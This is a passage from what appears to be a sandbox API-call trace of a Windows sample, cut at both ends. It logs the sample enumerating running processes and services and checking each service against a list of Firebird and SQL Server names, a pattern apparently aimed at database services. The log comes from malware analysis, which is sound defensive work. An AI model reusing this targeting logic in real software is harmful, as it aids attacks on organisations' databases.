Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0155.483] lstrlenW (lpString="barriers.exe") returned 12 [0155.483] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0155.484] lstrlenW (lpString="shootclick.exe") returned 14 [0155.484] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0155.485] lstrlenW (lpString="nickel.exe") returned 10 [0155.485] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0155.485] lstrlenW (lpString="imperialopened.exe") returned 18 [0155.485] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0155.486] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0155.486] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0155.487] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0155.487] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0155.487] lstrlenW (lpString="perhapssentences.exe") returned 20 [0155.487] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0155.488] lstrlenW (lpString="dllhost.exe") returned 11 [0155.488] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.489] lstrlenW (lpString="svchost.exe") returned 11 [0155.489] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0155.490] lstrlenW (lpString="chrome64b.exe") returned 13 [0155.490] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0155.490] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0155.490] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.491] lstrlenW (lpString="conhost.exe") returned 11 [0155.491] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0155.492] lstrlenW (lpString="cmd.exe") returned 7 [0155.492] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.492] lstrlenW (lpString="conhost.exe") returned 11 [0155.492] Process32NextW (in: hSnapshot=0x27c, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0155.493] CloseHandle (hObject=0x27c) returned 1 [0155.493] Sleep (dwMilliseconds=0x1f4) [0156.488] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ceca8 [0156.488] EnumServicesStatusExW (in: hSCManager=0x7ceca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0156.489] GetLastError () returned 0xea [0156.489] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1f3c) returned 0x7ef9b0 [0156.489] EnumServicesStatusExW (in: hSCManager=0x7ceca8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7ef9b0, cbBufSize=0x1f3c, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7ef9b0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0156.489] CloseServiceHandle (hSCObject=0x7ceca8) returned 1 [0156.490] lstrlenW (lpString="Appinfo") returned 7 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0156.490] lstrlenW (lpString="AppXSvc") returned 7 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0156.490] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.490] lstrlenW (lpString="Audiosrv") returned 8 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0156.490] lstrlenW (lpString="BFE") returned 3 [0156.490] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.490] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.490] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.490] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.490] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.490] lstrlenW (lpString="BITS") returned 4 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0156.491] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0156.491] lstrlenW (lpString="CDPSvc") returned 6 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0156.491] lstrlenW (lpString="ClickToRunSvc") returned 13 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0156.491] lstrlenW (lpString="ClipSVC") returned 7 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0156.491] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0156.491] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0156.491] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0156.491] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0156.491] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.491] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0156.492] lstrlenW (lpString="CryptSvc") returned 8 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.492] lstrlenW (lpString="DcomLaunch") returned 10 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.492] lstrlenW (lpString="DeviceAssociationService") returned 24 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0156.492] lstrlenW (lpString="Dhcp") returned 4 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.492] lstrlenW (lpString="Dnscache") returned 8 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.492] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.492] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.492] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.492] lstrlenW (lpString="DoSvc") returned 5 [0156.492] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0156.492] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0156.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0156.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0156.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0156.493] lstrlenW (lpString="DPS") returned 3 [0156.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.493] lstrlenW (lpString="DusmSvc") returned 7 [0156.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0156.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0156.493] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0156.493] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0156.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0156.493] lstrlenW (lpString="EventLog") returned 8 [0156.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0156.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0156.493] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0156.493] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0156.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0156.493] lstrlenW (lpString="EventSystem") returned 11 [0156.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0156.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0156.493] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0156.493] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0156.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0156.493] lstrlenW (lpString="FontCache") returned 9 [0156.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0156.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0156.493] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0156.493] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0156.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0156.493] lstrlenW (lpString="gpsvc") returned 5 [0156.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0156.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0156.494] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0156.494] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0156.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0156.494] lstrlenW (lpString="iphlpsvc") returned 8 [0156.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0156.494] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0156.494] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0156.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0156.494] lstrlenW (lpString="KeyIso") returned 6 [0156.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0156.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0156.494] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0156.494] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0156.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0156.494] lstrlenW (lpString="LanmanServer") returned 12 [0156.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0156.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0156.494] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0156.494] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0156.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0156.494] lstrlenW (lpString="LanmanWorkstation") returned 17 [0156.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0156.494] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0156.494] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0156.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0156.494] lstrlenW (lpString="lfsvc") returned 5 [0156.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0156.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0156.495] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0156.495] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0156.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0156.495] lstrlenW (lpString="LicenseManager") returned 14 [0156.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0156.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0156.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0156.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0156.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0156.495] lstrlenW (lpString="lmhosts") returned 7 [0156.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0156.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0156.495] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0156.495] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0156.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0156.495] lstrlenW (lpString="LSM") returned 3 [0156.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0156.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0156.495] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0156.495] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0156.495] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0156.495] lstrlenW (lpString="MpsSvc") returned 6 [0156.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0156.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0156.495] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0156.496] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0156.496] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0156.496] lstrlenW (lpString="NcbService") returned 10 [0156.496] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0156.496] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0156.608] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0156.608] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0156.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0156.608] lstrlenW (lpString="netprofm") returned 8 [0156.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0156.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0156.608] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0156.608] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0156.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0156.608] lstrlenW (lpString="NgcSvc") returned 6 [0156.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0156.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0156.608] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0156.608] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0156.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0156.608] lstrlenW (lpString="NlaSvc") returned 6 [0156.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0156.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0156.608] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0156.609] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0156.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0156.609] lstrlenW (lpString="nsi") returned 3 [0156.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0156.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0156.609] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0156.609] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0156.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0156.609] lstrlenW (lpString="PcaSvc") returned 6 [0156.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0156.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0156.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0156.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0156.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0156.609] lstrlenW (lpString="PlugPlay") returned 8 [0156.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0156.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0156.609] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0156.609] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0156.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0156.609] lstrlenW (lpString="Power") returned 5 [0156.609] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0156.609] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0156.609] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0156.609] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0156.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0156.610] lstrlenW (lpString="ProfSvc") returned 7 [0156.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0156.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0156.610] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0156.610] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0156.610] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0156.610] lstrlenW (lpString="RpcEptMapper") returned 12 [0156.610] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.610] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0156.610] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0156.610] 